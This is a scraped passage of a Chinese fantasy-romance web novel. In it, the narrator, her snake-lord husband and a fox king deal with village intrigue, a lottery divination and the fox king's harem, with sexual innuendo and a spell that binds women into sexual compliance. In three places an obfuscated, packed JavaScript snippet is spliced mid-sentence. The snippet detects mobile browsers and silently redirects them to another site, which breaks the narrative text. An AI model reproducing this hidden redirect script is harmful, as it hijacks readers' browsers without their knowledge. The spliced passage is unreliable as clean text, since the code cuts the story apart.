最有名气那些年,我桀骜不驯,目中无人,不停地捉妖,以此来证明自己的权威。 其实我年轻的时候就已经遇见过类似王母肉芝的事,但我,做了与鸾镜截然相反的选择。 那年冬天,我遇见一只为夫续命的刺猬仙。 刺猬仙用自己身上的刺,给丈夫熬药治病,但这件事不知怎么的,就走漏了风声,弄得满村皆知。 村里人打着捉妖的幌子,囚禁刺猬仙,对外声称刺猬仙是害人的妖孽,需要作法消灭,实则却是暗中拔掉刺猬仙身上的刺,想要独占仙物。 刺猬仙被折磨的不成人样,本以为村里人抓走自己就不会再伤害她的丈夫了,谁知没多久,她丈夫就因为执意想救她,被村里人推下水塘活活冻**。 那些村民不敢告诉刺猬仙真相,就欺骗刺猬仙,说只要刺猬仙老老实实交出自己身上的刺,他们就绝不为难刺猬仙丈夫,还声称刺猬仙丈夫的身体已经在慢慢痊愈了。 就这么忽悠了刺猬仙半年,某一日刺猬仙在一个孩子口中得知了真相,便一怒之下发疯冲出去扬言要杀了村里所有人给丈夫报仇。 那些村民找到我的时候,骗我说刺猬仙在村里兴风作浪,没人招惹她,她就要**果腹,我一听那还了得,当即就怀着一腔正义赶过去了。 在刺猬仙打算动手前降服了刺猬仙。 后来我才在刺猬仙口中得知事情的起因,那时,我的确心软了,想放她一命。 可当晚村长就告诉我,刺猬仙在村里大开杀戒了,我赶到地方时的确见到了很多血。 我盛怒之下不听刺猬仙解释,就一刀劈了刺猬仙……” “然后呢?”阿乞怔怔问。 李大叔苦笑:“血是假的,都是猪血。村里人害怕刺猬仙报复他们,就想逼我将刺猬仙斩草除根。 他们挖出了刺猬仙丈夫的尸体,把刺猬仙引去了村民的屋内,又在村民院子里泼满猪血…… 明明,那么拙劣的手段,我应该能察觉到破绽的,可我却急于斩妖除魔,根本不给刺猬仙解释的机会,就将刺猬仙一刀毙了命。” 话说完,阿乞与银杏俱是陷入了沉默。 “年少时,我也曾执拗地认为,非我族类都该死。 我仗着自己天资好,是万年难得一遇的修仙好苗子,自大狂妄,将师父与师伯的告诫都当做耳旁风,我行我素。 其实,早在我因为一只黄仙偷了当地村民小孩,就满人间地拼了命追杀她时,师父就已经提醒过我,人分好坏,妖也分善恶,过度不将其他灵物的性命当回事,是会给自己添业障。 但那会子,我年轻气盛又仗着自己是这一辈弟子中天分最高修为最好的那个,根本听不进师父的教导。 所以哪怕我知道黄仙偷走孩子没有恶意,只是因为自己刚刚丧子,错将别人家的孩子当成自己儿子,才一时糊涂偷走了小孩,我也还是没给她留活路。 刺猬仙的事情发生后,我清楚认识到自己性格的短板,目光的短浅,明白我虽少年有成但终归性情浮躁,阅历浅薄,所以我主动回天行山向师门请罪。 师父说我早外造下业障太多,来日必当承受报应,及时改过,潜心闭关修炼,或可有一线生机。 我闭关五年再出来,总算是领悟到了修炼的真谛…… 师伯说得对,真正的仙性,是视众生平等,是不被偏执己见蒙蔽双眼。” 阿乞歪头接着问:“所以,师叔祖你当初也是因为这些事,才远离世俗红尘,跑阴苗族避世隐居的?” “那是很久以后了。” 李大叔从阿乞那收回自己的烟杆,掏出火柴点燃: “不过,刺猬仙的事,算个**。但究其根本,又与刺猬仙没多大干系……一切,都是我自作自受。 当初误打误撞进入阴苗族确实是想远离世俗耳根清净,但我们都没想通一件事,有人的地方,就不算世外。 阴苗族有些人,可比外面世界的人类还复杂。” 他老人家还是不肯透露自己当年逃进阴苗族的真正原因。 或许,真相会是他心头一生的伤。 外婆活着的时候,曾同我说过一两句。 她说,李大叔本该有大好前程,之所以落得现在这个下场…… 是因为李大叔的道心破碎,修不成玄门道术了。 李大叔现在瞧着挺厉害,实际上他的修为,还停留在二十年前的境界。 二十年前他的道术就已经这么高超了……甚至极有可能更高! —— 顺利重回月阴村后,李大叔第一时间把赵大哥的具体情况告诉了赵村长两口子。 赵村长听完当场心疼得痛哭涕零。 村长媳妇虽说绷着脸一滴眼泪也没掉,顺道还添了几句风凉话,可李大叔前脚刚走,村长媳妇后脚就把赵二臭骂了一顿。 当晚就病倒了。 银杏讲,这些年来赵二总给家里惹事,赵大哥又和他们断绝关系了,村长媳妇虽然有点铁石心肠,可赵大哥在家孝顺体贴,赵二在家的表现却和赵大哥有天壤之别,人最怕的,就是对比。 村长媳妇早就念起赵大哥的好了,只是拉不下这个脸承认自己错了才多年来坚决不提赵大哥,对外也总是死鸭子嘴硬称自己没赵大哥这个儿子。 这次赵大哥出事,她表面幸灾乐祸,心里却也不是滋味。 再怎么说,赵大哥也是她十月怀胎生下的孩子。 这个世上,又有多少母亲能绝情到宋淑贞那个境界呢…… 至于倒霉的宋花枝,应该是迫不及待吃了那片肉芝,据说这两天都没在村里出现了。 估摸躲在家里捧着自己那张毁容的脸边郁闷,边被肉芝折磨得吃不下饭。 更让人意外的是,许三筒那家伙也病了。 说是从昨天傍晚开始就捂着肚子疼到便血,在床上打滚嗷嗷叫。 村里的老郎中说他是吃坏了东西,问他究竟吃了什么,好对症下药,可他却死不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150208|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉老郎中,还把郎中轰出了家门。 一早宋淑贞也听说了这件事,还特意去许三筒家里看望了许三筒。 族人们都以为宋淑贞是去给许三筒治病的,谁知许三筒不知因为什么惹到了宋淑贞,被宋淑贞命人拖下床残忍无情地打了二十板子,屁股都被打烂了。 下午老郎中才慢吞吞地又去许三筒家给他治病,结果正给他上止血止痛药呢,他竟当场没忍住拉在了床上,吓得老郎中撂下药膏就匆匆遁了。 许三筒的老婆是个出了名的懒女人,见他又是窜稀又是烂屁股的,忍不了的当天就打了包袱回娘家去了,硬是把许三筒八十岁的老母拽去家里伺候许三筒…… 村里人不晓得一向信任许三筒的大祭司为何突然对他痛下狠手,我却能猜出个**不离十。 肯定是许三筒在给宋花枝送肉芝的时候,私心作怪昧了一部分呗。 他以为不会被发现,但却万万没想到吃了肉芝会上吐下泻。 赶了一整天的路,我到家简单洗漱了一下,倒头就睡。 也来不及招呼青漓了。 夜半三更,一泓冰凉缠上我的腰肢,攀上我的手臂。 不用猜就知道,又是他…… “阿漓……你总这样,我就要对蛇脱敏了。” “下次真有蛇趴在我身上,我会以为是你……” 下一秒,掌心微凉的男人便将我揽进怀中,温柔抱住。 修长玉指给我理了理鬓边凌乱的长发。 “阿鸾。” “嗯?” “夫人……” “你说,我听着呢。” 他轻轻在我额间落下一吻。 语气噙着笑意道:“分明还没清醒,同本尊交流的倒是顺畅。” 指腹贪婪摩挲着我的脸颊。 他逗我:“夫人似乎,没有起床气。” 我浑浑噩噩半梦半醒地伏在他怀里,任他抱着我偷摸做小动作:“对别人是有的……但知道你是谁,就没有。” 他趁机捏我耳垂:“本尊,是谁?” 我糊里糊涂地回答:“青漓嘛……” “你怎么知道,是本尊?” “除了你,谁还会半夜把我折腾醒。” “喜欢、本尊抱着你睡么?” “嗯……”乖乖抱紧他,往他胸膛上蹭了蹭,用行动回应他。 “不怕本尊了?” “一直都不怕……” 他捏起我的下颌,暧昧地来吻我。 蜻蜓点水地亲了亲我的唇。 又含住我的唇瓣,几度辗转温存。 “喜欢本尊么?” “嗯……” 鼻音太轻,他可能分不清是我的低吟,还是在回答他的问题。 是以,他捧住我的脑袋,又趁我神识不清醒,再问一遍:“鸾鸾,喜欢为夫么?” 温言软语地哄着我回答,“鸾鸾,告诉本尊,你的心里话。” 我困得都快晕过去了,说话不过脑子的又嗯。 “喜欢?”他耐心引导我。 “嗯,喜欢。”我说。 他的心跳声,好像倏然清晰很多。 跳得好快。 “本尊,和赵二,你更喜欢谁?” “喜欢你。” “与谢妄楼比呢?” “你。” “与银杏比呢……” “银……” 杏? 我刚想问,为什么要和银杏比。 唇突然被他封住,他欺身压过来,一身莲花浅香摄人神魂。 第79章 死狐狸喜欢玩花的 “阿鸾,回答本尊的名字……” “嗯……青漓。” 他这才心满意足地放过我,啃了啃我的唇,抱我睡觉:“鸾鸾……宝宝真乖。” —— 翌日,我起床后照常先给龙神大人上三炷香。 本打算回来就向龙神大人老实请罪的,可想起那天龙神大人显灵吓跑狐群,看来他老人家并没有怪罪我们在他庙中见血。 不然也不会出面庇佑了。 就在我犹豫该不该多给龙神大人磕几个头时,放在地上的手机却突然亮起屏幕,探出一条好友最新消息。 打开一看,是银杏给我发来的。 一条买号抽奖的链接,外加一段文字:镜镜,赌一把手气!我刚拿下一张,特意问了三清祖师,祖师爷给我挑了三组数字,我已经按号买了,坐等中彩票暴富! 买彩票问祖师爷?这法子稀奇! 不过她家就挂了一张三清尊神的画像,平日也不时时烧香供奉,管用吗? 说到问神…… 我默默朝神龛里的龙神神像看去—— 我家这位可是家神! 问他应该比问三清尊神有用吧…… 说干就干,我立即摸过供桌上的筊杯,不顾形象地席地而坐,对着手机上的彩票可选数字一组一组地扔圣杯试。 “笑杯。” “阴杯。” “阴杯。” “圣杯。” …… 扔了十来分钟,总算是把三组彩票数凑齐了。 在龙神大人的神力加持下,我果断花十块钱买下了那张印着三组幸运数字的彩票。 系统显示,彩票得等到三天后的傍晚六点才能开奖。 时间不长,我等得起! 而且女人的第六感告诉我,这张彩票就算不能实现我暴富的心愿,也多少能让我中点。 我拿着手机开开心心地出门去了院子。 正要拿扫把清理院中落叶,手却被某蛇王温暖掌心握住。 尔后,某蛇王广袖一挥,先前送我的那对小纸人就从我腰间探出头,活泼地跳了出去。 一双纸人落地见风就长,个头从十来公分瞬间窜到了一米高。 两只小纸人听话的嘿咻嘿咻跑去墙边找工具,各拿了一把细竹扎的扫地大扫帚,认真卖力的麻溜干活。 我瞧着化身勤奋好少年的两只小纸人,目瞪口呆地愣了半晌。 “大扫把有点重……你确定不会把它俩压倒?它们可是纸人哎!”我深表怀疑地问青漓。 青漓淡定启唇:“它俩扛过最重的东西,是华山。” 我:“……” 行,忘记这俩小家伙**是地狱修罗鬼将了。 默默抱拳:“是我冒昧了,英雄!” 他用清冷余光瞟我一眼,淡淡问:“给华桑大帝磕完头了?” 我拿着手机一怔:“哦,忘了!” 每天习惯性的三个头没忘,要负荆请罪的头忘磕了! “那你在里面待这么久,光走神了?”他无情审问我。 我不好意思地抓着手机:“呃,也不是,银杏给我发了个彩票链接,我请龙神大人帮我挑幸运数字来着……” “你还真是,什么事都敢折腾。”他话音虽冷,可眼尾寒光扫了我一眼后,唇角却勾起一抹惑人弧度。“下次,直接来问本尊,比扔筊杯方便。” 我揉了揉睡觉压疼的一侧肩膀,小声道: “我以为你休息去了,正好我又在里面给龙神大人上香,就顺便骚扰他老人家了。 也不知道他老人家有没有认可我这个鬼师,我听说别人养家神,家主或继承人和家神之间都是有心灵感应的,我已经接替外婆侍奉龙神大人这么久了,为什么至今还没感应过华桑大帝的神通? 他该不会是嫌我太菜,不愿意和我建立感应吧!” “现在才意识到这个问题,不觉得有点晚么?”他存心唬我:“知道怕了?” 我厚着脸皮嘀咕:“不是怕……如果华桑大帝不认可我,那我刚才求的那串彩票号岂不是不灵了!” 陪在我身边的青漓这回噎了很久。 我正儿八经地复盘道:“以后还是问你比较靠谱,神和我的距离太远,自己人才靠得住……” 某蛇王的脸色一时变了又变,说不出的怪异。 “不过……”我揉着肩膀越想越不对劲,昂头问他:“青漓,你昨晚是不是趁我睡着,和我说话了?” 刚起床那会子,我隐约记得青漓昨晚和我说了很多话,但内容,我一句都想不起来了。 唯一还算清晰的信息是…… “昨晚本尊……” 我扯住他的袖子,突然打断:“你昨晚有没有在我耳边、叫我……宝宝?” 凌晨那会子,似乎有人温情抱着我,一直在我耳畔重复唤我:“宝宝、宝宝……” 宝宝二字像勾魂的钩子,听得我一阵心神大乱。 但由于记忆太过模糊,我也没分清究竟是在做梦,还是真有人喊我宝宝。 况且,我能确定,那道声音就是属于青漓的! 加上一早我迷迷糊糊睁眼时,自个儿的确窝在青漓怀里,被青漓抱了一夜…… 搞得我更加分不出那声音是来自现实还是梦中了。 青衣银发的蛇王大人呛了声,立时别过脸,清冷道:“没有。本尊昨晚、没和你说话。” 那就是梦了。 也对…… 青漓这家伙身份尊贵地位高,活得久还好面子。 怎么可能叫我……宝宝! 咦,肉麻**。 实在无法想象这么一张俊美绝世的脸对着我深情呼唤宝宝的画面…… 这个梦很好,就是有点瘆人。 我尴尬地咳了咳,希望他不要在心里骂我自恋。 但…… 为什么他的指尖在抖? —— 回村的这两天,我终于有机会舒爽地享受生活了。 白天和青漓在院子里捯饬花草,晚上就早早歇下睡大觉。 还抽空去给外婆与爸烧了纸。 青漓现身的时间也越来越久,有时晚上索性连上半夜都不进戒指了。 偏喜欢用自己的手臂勾我主动蹭进他怀里,枕在他胳膊上。 与他在一起的时光过于安逸,以至于我都产生了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162854|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种……和他做夫妻,体验感也挺好的念头。 除了他动不动就喜欢……不知节制。 宋花枝的脸终究还是被大祭司不知用什么法子给治好了。 再撞见她时,是一个暮色沉沉的夜晚。 白天下了两场雨,天色暗得早,不到六点半就看不清路上人影了。 下午我闲得没事干,就拉青漓去山里找池塘捉鱼。 可惜运气不好,鱼没搞到,只抓了小半桶河虾。 下山路过村里的土地庙,正赶上宋花枝衣衫不整,骂骂咧咧地从庙里出来。 青漓手快地将我扯到一棵老槐树后躲起来。 不远处的宋花枝提着一盏昏暗老油灯,边一瘸一拐往回家方向走,边拉起滑下肩膀的明黄色古代神袍。 裸露在外的肩背上散布着密密麻麻的青紫痕迹。 像暧昧时留下的证明,又像被人施了暴。 “神经病!疯子,都是疯子!” “竟然喜欢这一口,恶心死我了。” “淫狐狸,总有一天我会吸**的法力,剥了你的狐皮做大衣,抽了你的狐骨当棒槌!” “不中用的废人,先前不是还如狼似虎的么,竟然一碰我就不行了。” “自己下半身废了,还望我身上撒气,硬让我用……” “呸,恶心**。” “真是畜生,对着我又啃又咬的……啊!早知道就不这么快恢复这张脸了!” 宋花枝骂急了,拎着油灯狠狠踩路边荒草。 “**,都给我**!” 正骂得起劲呢,赵二那个浑蛋玩意竟从对面迎了上去—— “花枝妹妹!你怎么了?脸怎么青了?谁欺负你了!”赵二没脑子的心疼扶住宋花枝。 宋花枝立马演技极好的柔弱往他怀里一扑,梨花带雨地娇柔告状: “二哥,我、我不活了……今晚狐王心情不佳,就对我拳打脚踢,还在我的身子上……呜呜,这让我怎么见人啊!” 赵二一见她哭,更是疼惜了,赶忙温柔给宋花枝擦去脸上眼泪,愤愤道: “都怪宋鸾镜!她要是肯老实嫁给灰狐大仙,又怎会害你受这委屈!花枝妹妹,你为了阴苗族,受苦了。” 躲在树后的我不悦皱眉。 这都能把错算在我头上,赵二和宋花枝真是天生一对! 不要脸的宋花枝闻言脏水泼得更起劲了,茶里茶气地委屈抹泪: “狐王看中的,一直都是宋鸾镜,可宋鸾镜竟为了不嫁灰狐大仙,宁肯去偷嫁禁地里的青蛇大妖。 灰狐大仙本就对宋鸾镜的背叛怀恨在心,现在见了我,更是气不打一处来,把不满与怨恨全发泄在我身上。 可我,也实在没法子啊,总要有人牺牲,稳住灰狐大仙,不然他肯定搅得族里不安生。 我是圣女,我要守护我的族落,宋鸾镜不懂感恩,我不能任由灰狐大仙伤害族人啊。” 一番表演痕迹极重的肺腑之言毫无意外地感动到了赵二,赵二听罢大义凛然地骂道: “宋鸾镜真是个害人精!花枝你放心,明天我就去找宋鸾镜,替你出气!” 第80章 谢妄楼不会是被阉了吧! 说着,心疼地抬起双手给宋花枝擦眼泪:“好了花枝,知道你委屈,走,我扶你回家。” 宋花枝柳腰一摆,全身柔若无骨地往赵二怀里一扑,双臂扣住赵二脖子,媚眼如丝地引诱赵二,软语撒娇:“二哥,你抱我……” 赵二眼中一喜,求之不得的赶忙弯腰抱起衣衫不整,却别有一番风情的女人。 “二哥……” 宋花枝像条发情的母狐,伏在赵二胸膛上,白嫩指尖往赵二心口画圈圈。 伸出猩红的舌尖,舔去唇上血迹,存心引诱,闷骚暗示:“花枝今晚,身子还干净着呢。二哥,抱我,去你家。” 赵二闻言自是喜不自胜,恨不得拔腿就把人往家里带。 “可……我爹妈都在家,会不会……” 宋花枝缠着赵二,红着脸颊往赵二耳边吹气,话中另有深意道:“都在,岂不是更刺激……二哥,上次在祖祠前,你不是体验的极好么?” 赵二一怔,瞬间再没了犹豫,连说了三个好,抱着身上神袍还未褪下的女人就往家里跑。 我膈应的搓搓双臂,倚靠着树干别扭不已:“这个宋花枝还真是够癫,赵二也是神经病!” 青漓瞟了眼寂静的土地庙:“这附近灵力动荡地很厉害,看来谢妄楼的确遇上事了。伤的挺重。” “谢妄楼受伤了?”我诧异抬头,愣了下,想起刚才宋花枝说谢妄楼不行……我大胆猜测:“不会是……被阉了、太监了吧?” 青漓被我这个猜测惊到,意外地与我四目相对,不大好意思地启唇浅声解释: “九黎山一带,能伤到他的人只有本尊。何况,谁找仇家算账,会在打伤仇家后把仇家阉了?” 我哽住。 好像,是这么回事。 再说被阉这种关乎男人尊严的事,如果真发生在死狐狸身上,死狐狸怕是会以命相护。 除非把他命噶了,才能把他命根子噶了…… 不然命还在,命根子没了,对他来说还不如**算了。 但,宋花枝说谢妄楼不行,一碰她就废…… 青漓又说过他受了重伤…… 我忍不住好奇问青漓:“你们男人受伤以后,还会那啥不起来?” 青漓俊脸瞬间一黑。 捂住我的脑壳没好气道:“成天胡思乱想些什么呢!” 我尴尬笑笑:“我这不是在找你涨见识嘛,我又不是男人,有点好奇……” 不过话又说回来。 当初青漓旧伤发作得最厉害时,还在卖力地给我解鸳鸯缠来着…… 果然男人和男人是不一样的! “你若真好奇……不如直接去看看。”他握住我的肩膀,比琉璃还清透的青眸深处划过一丝狡黠。 “直接去看?”我倒还真想! 可死狐狸那么精,万一被发现了怎么办。 他平静给我壮胆:“他今晚受的伤很严重,身上修为怕是也散了不少,本尊带你去,他察觉不到。” 我恍然大悟,立马激动牵住青漓:“那还等什么,快去啊!” 近距离吃瓜可是这世上最令人心情亢奋的大好事之一! 进入土地庙前,青漓特意用隐身咒将我二人都罩了进去。 我拉着他的手,被他悄然带**狐狸占据的那间偏房门外。 偏房的窗户纸似刚被一股强力震烂,纸片稀稀零零地黏在木质窗框上,透过雕花格子木窗,正好能将里面红衣男人的一举一动全都收入眼中。 “这不可能、不可能!” 男人长发凌乱地披在肩上,捂住脑袋东倒西歪地在屋里乱晃,深受打击的怒号: “我怎么可能、怎么可能不行!一定是有别的问题,是有人要害我! 对,是宋花枝那个**!她想背着本王和别的野仙偷情,所以才用毒计令本王对她产生不了兴趣……” “可本王,为何突然散去那么多修为,还差点爆体而亡!宋花枝那个毒妇到底用了什么法子竟能将本王重创至此!” 男人痛苦哀嚎完,猛地将茶桌上的所有瓷器都扫落在地,崩溃跳脚:“宋花枝!本王要弄死你!啊——” 一声惨叫结束,谢妄楼没憋住又一口血呕了出来。 弯腰,一巴掌拍在桌角,勉强撑住身体不死心道:“本王不可能不行……本王要再试试!” 说罢,男人从袖中取出骨哨,放在唇边用力吹了声—— 瞬间,无数母狐踏着朦胧月色,从深沉夜幕里狂奔而至。 一阵携着骚臭狐狸味的凉风打我们面前扫过,下一秒,母狐们就出现在了谢妄楼的房间里,乖乖伏在谢妄楼脚下行礼…… “妾身们,拜见王上。” 个个声音娇柔,宛如莺鹂。 谢妄楼迫不及待地抓起一只白狐压在圆桌上,眼神魅惑的白狐身上白烟一扫,顷刻化成了面容姣好、身材婀娜的年轻古代女子…… 一袭白纱,穿着银线绣茉莉的裹胸,下身纱裙轻薄飘逸。 不等白狐主动勾引,谢妄楼就一头埋进了白狐裹胸上的茉莉花纹里…… 大手握住白狐裸露的纤细腰杆,闷哼间,揉了揉白狐微微隆起的小腹。 “几日未宠你,你就把自己吃胖了?” 白狐娇羞一笑,脸红的主动抱住男人脖子。 谢妄楼也不浪费时间,身上红衣剥下往地上一扔,就开始办起了正事。 紧接着,屋里男女的欢愉声一潮盖过一潮…… 我抽了抽嘴角,盯着谢妄楼按在母狐背上的那只手,在他生生撕破母狐裹胸的那一刹,反应迅速地转身,赶在母狐走光的前一秒抢先捂住青漓的眼睛! 青漓一怔。 我扑进他怀里,一手捂着他的眼,脑袋枕在他的右肩上,与他亲密相拥。 “非礼勿视非礼勿视……阿漓,男人看别人老婆是要长针眼的!”我说得有理有据。 他呛了声,没有立马拿下我的手,任我这么捂着。 不过,几秒钟后,我又听见屋里叽叽喳喳传出了几十道女子的欢声笑语,正想扭头看看是什么情况,身子却被他猛地按回怀中…… 脸撞在他结实的胸膛上,颧骨都给我撞疼了。 “阿鸾,女人看除了自家老公之外的男人身体,也会长针眼。” 我:“……” 面上一热,我尴尬解释:“我又不是想看他身体……我是想看那些母狐是不是都化成人了。” 他静了静,忽然正儿八经地向我表真心,顺道还拉踩谢妄楼一脚: “本尊可没谢妄楼夜御百女的本事,本尊此生,只会碰一个女人,那就是本尊的夫人。本尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162855|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可不像某些妖狐,重色重欲,**族群,**伴侣感情。” 我哽了哽。 谁问这个了啊…… 我单纯想看百美图。 谢妄楼这王八蛋可真会享受,刚才那条母狐化成人形的样子,像朵含苞待放的清纯小花似的…… 但,两秒钟后,那清纯小花的狐设就在我耳畔,崩了! “王上,还有妾,妾也要……” “王上,你亲亲妾。” “王上,你力气忒大了……” 谢妄楼流连于百花丛中,总算是重振旗鼓:“告诉本王,本王,威力是否如从前?” 有狐女娇笑着回答:“王上勇猛更胜从前!” 谢妄楼被哄得开怀哑笑:“哈哈,本王就知道,不是本王的问题。该死宋花枝,身上中了本王下的鸳鸯缠还敢如此算计本王,看本王以后如何收拾她!” “哎呀王上,妾早就提醒过王上,人类狡诈。” “就是就是,不如妾身们替王上去教训教训她?” “身为姐姐,理应该为王上,教导妹妹听话。” “王上,您看,还是妾身们最爱王上,王上您别总一门心思挂在那个人类身上,有时间也得多宠宠妾身们啊……” “是啊,王上,那个人类,有妾身美吗?长相一般,还狡诈奸猾,王上~” “行了。”谢妄楼倏然不悦打断,压沉声警告:“本王说过,你们若敢找她的麻烦,本王就剥了你们的皮!” “王上……” “还有。”谢妄楼阴恻恻道:“你们不配评判她的脸!她的脸,是本王此生见过的……最美的一张!” 想了想,又纠正:“哦不,她只是像那张最美的脸……不过,她却是独一无二的、替代品。” 替代品…… 我悄然抬起另一只手,抱住青漓的腰。 “谢妄楼把宋花枝当成谁的替代品了?” 青漓剑眉微蹙:“白月光吧,或者青梅竹马的朱砂痣。” 我鼓了鼓腮帮子:“蛇王大人懂得挺多。” 还知道白月光和朱砂痣。 他低头,鼻尖温热的气息扫得我掌心痒痒。 “本尊只是活得久,又不是死得早与世界脱了轨,夫人懂的,本尊基本也懂。” 我乖乖伏在他胸膛上小声问:“你不是沉睡了三百年吗?这三百年时间,没有睡断片?” “夫人真以为,本尊,是被**在九黎山禁地内的?”他抚着我的乌发,浅浅道。 我心头一惊,不是**在禁地内的?难不成是他自己乐意在里面待着的? 还真有可能。 都说青漓这只青蛇大妖三百年前是从天而降的娘娘庙压住了他,才阻止他祸乱苗域,在阴苗族为非作歹…… 可现在青漓已经出来这么久了,娘娘庙至今毫无反应。 按理说,娘娘庙是因**青漓而存在,青漓逃出封印,逍遥在外,娘娘庙感应到,肯定是要将青漓重新**回去的…… 但娘娘庙现在对青漓,好像一点震慑力都没有。 青漓成天在娘娘庙附近自由来往,对娘娘庙也从未表露出忌惮之色。 娘娘庙不管他,他也不怕娘娘庙…… 答案,很有可能就是,娘娘庙根本镇不住他,甚至……娘娘庙本就不是用来镇他的! 第81章 蛇尊他,那方面不行! 那他为什么还要留在禁地里,心甘情愿被封印三百年? 也不对。 上回,我闯进他的洞府和他生米煮成熟饭的时候…… 根本没有发现他躺的那副石棺里有封印! 到底是被他提前撤了,还是、洞里根本没有封印呢? 走神间,屋内的女子嬉笑声愈发嘈杂混乱了。 “王上~妾身也要服侍王上……” “王上,您看妾身新绣的莲花肚兜。” “听说王上您喜欢凤凰花色口脂,妾身特意调制了一款,王上您看看,是不是这个颜色?” “凤凰花?九黎山一带,似乎只有蛇尊的红云洞前,有一片凤凰花,妹妹你该不会是去偷了蛇尊洞府外的花吧? 哎呀,那你可得离我们远些,千万别害我们和王上,谁不知那片凤凰花是蛇尊亲手种下的,你不知死活去摘他的花,被他知晓,又要来炸我们的狐狸洞了!” “姐姐你这话说的,我哪敢啊! 五百里外的山脉上也有几棵凤凰树,虽然花开得少,但摘几朵做口脂还是绰绰有余。 妾平时可听王上的话,可懂事了,怎么会给王上招惹麻烦呢。” “说起那位蛇尊,呵呵,一个大男人竟然喜欢种花,真是小家子气。” “还说呢,妾都怀疑,那个蛇尊是个同性恋!就算不是,那他也那方面不行!” 同、性、恋? 还那方面不行! 我默默视线下移…… 某蛇王顿时青了脸,没好气地猛地收紧我腰肢,害我再次狠狠撞在他胸膛上。 我无奈瘪嘴:“又不是我说的……” 他被我捂着眼,自尊受挫地低头,没良心往我脸颊咬了口,闷声自证:“本尊行不行,你不知道么?” 我:“……” 蛇王大人,咱俩现在都这么熟了吗。 虽然你很行…… 但意会就好,不至于这么斤斤计较吧。 呜真是条小心眼的蛇…… 屋内的狐妖们仍在肆无忌惮地议论青漓,笑声一片地揶揄着: “可不是嘛,听说前两天紫狐那个矫情的**在**蛇尊的时候,故意崴脚往蛇尊怀里摔,结果被蛇尊一闪身,摔了个狗吃屎。 白蛇为了讨好蛇尊,把自己刚成年的妹妹都送到蛇尊床上了,蛇尊回洞府看见,愣是一袖子把那条瘦瘦巴巴的小蛇给变回原形,拎着脖子就给扔出了禁地。” “前段时间,我们奉王上之命去引诱蛇尊,把自己都脱光了,蛇尊愣是一眼没看,抬手就把咱们震飞了出去,害妾身们差点神魂俱灭。” “蛇类,应该抵挡不住咱们狐族的魅惑之术。就算蛇尊能忍住,也不至于看都不肯看咱们一眼啊……一点反应都没有。” “我看,蛇尊就是不行,娶那个阴苗族女人,八成就是为了遮掩自己无法繁衍子嗣的丑闻。” “还是咱们王上,英明神武,勇猛盖世。” “妾身们就喜欢王上这般男子……” 哎,可怜的青漓啊,洁身自好却被妖误会成不行,也忒冤了些。 屋内的灰狐狸冷哼一声,“你们说,喜欢本王?还说本王英明神武,勇猛盖世?” “你们觉得……本王信吗?” “本王调教了你们两百年,才将你们调教得乖顺听话。你们是忘记,从前刚来本王身边时,你们都是副什么德行了么?” “本王知道,你们个个都是有道行的狐妖,若不是鸳鸯缠控制着你们,你们也不会乖乖任本王**!” “待哪日你们的修行盖过本王,你们第一个反噬的,就是本王!” 母狐们闻言,顿时纷纷紧张起来:“王上,妾身们不敢……” “王上,妾身们对王上的忠心日月可鉴!” “这两百年来,王上早将妾身们调教得离不开王上了……” “王上,您不能冤了妾身们。” 谢妄楼语调散漫轻浮:“冤?本王可舍不得冤了本王的小心肝儿们……不过,你们也没有反噬本王的机会了。” “鸳鸯缠一旦入体,便永生永世没有完全解除的机会了。” “鸳鸯缠,还会让你们愈发迷恋情欲之事……” “一段时间不同本王在一起,便会心痒难耐。” “哪怕你是大罗神仙,中了我涂山一脉上古秘术鸳鸯缠,也会心甘情愿沦为本王手中的玩物。” 鸳鸯缠还会让人迷恋那种事? 为什么我没有这个感觉…… 而且,我体内的鸳鸯缠除了前几回被灰狐仙恶意催动,好像再未复发过。 哦想起来了。 青漓这家伙的次数频繁到压根不会给鸳鸯缠发作的机会好不好…… 我忍不住的低叹。 哎,有个体力好的老公,从某些方面来讲,似乎是件好事。 “叹什么气?”他低声问我。 我伏在他胸口直言不讳:“庆幸给我解鸳鸯缠的人是你。” 他心跳漏了一拍。 屋内的暧昧呻吟持续了一段,我和青漓嫌无聊,都打算先撤为敬了。 谁知又一场好戏迫不及待上演了—— “王上,您轻些……妾受不住……” “从前数你最有本事,一夜勉强可承得住本王两次,今晚怎么才一回,就不许本王碰了?” 屋内的母狐悻悻道: “哎呀王上……您实在太厉害了,每次都得我们这些姐妹轮流伺候您,才能让您尽兴,不少姐妹连一轮都受不住。 从前是妾身体质好,如今不一样了,妾不方便,王上还是去宠幸没有承露的姐妹们吧。” 